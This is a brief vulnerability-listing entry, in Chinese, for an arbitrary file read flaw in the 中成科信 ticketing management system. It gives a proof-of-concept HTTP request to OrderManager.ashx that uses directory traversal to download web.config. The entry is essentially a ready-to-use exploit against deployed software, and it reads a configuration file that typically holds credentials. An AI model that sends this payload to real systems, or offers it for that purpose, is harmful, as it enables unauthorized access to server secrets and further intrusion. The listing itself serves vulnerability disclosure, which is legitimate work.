中成科信票务管理系统 OrderManager.ashx 任意文件读取漏洞

2025-10-23 中城科信票务管理平台 PoC Public

Description

中成科信票务管理系统 OrderManager.ashx 任意文件读取漏洞

PoC

GET /SystemManager/OrderManager/OrderManager.ashx?Method=DownTemplate&fileName=../../web.config HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://vip.vulbox.com/detail/1981237581689524224

References

Related Vulnerabilities